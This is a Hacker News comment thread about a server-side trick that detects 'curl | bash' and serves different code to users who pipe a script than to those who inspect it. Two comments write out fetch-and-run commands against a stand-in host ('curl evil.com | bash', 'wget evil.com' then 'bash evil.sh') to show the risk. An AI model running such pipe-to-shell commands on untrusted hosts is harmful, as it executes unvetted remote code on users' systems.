Hacker News
new
|
past
|
comments
|
ask
|
show
|
jobs
|
submit
login
ericpauley
on July 29, 2018
|
parent
|
context
|
favorite
| on:
Detecting the use of "curl | bash" server-side
This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`
nerdponx
on July 29, 2018
[–]
If you downloaded the script to inspect it, why would you not just run the script that you downloaded?
tutfbhuf
on July 29, 2018
|
parent
|
next
[–]
That's the point. It's also possible that the remote script has been altered in the meantime. Therefore it's never advisable to download the script again after inspection.
chmod775
on July 29, 2018
|
parent
|
prev
|
next
[–]
curl evil.com curl evil.com | bash
nerdponx
on July 29, 2018
|
root
|
parent
|
next
[–]
wget evil.com less evil.sh bash evil.sh
IshKebab
on July 29, 2018
|
parent
|
prev
|
next
[–]
There's more than one user. You don't want any of them to find the malicious code.
jchw
on July 29, 2018
|
parent
|
prev
[–]
Web browser.
Guidelines
|
FAQ
|
Lists
|
API
|
Security
|
Legal
|
Apply to YC
|
Contact
Search:
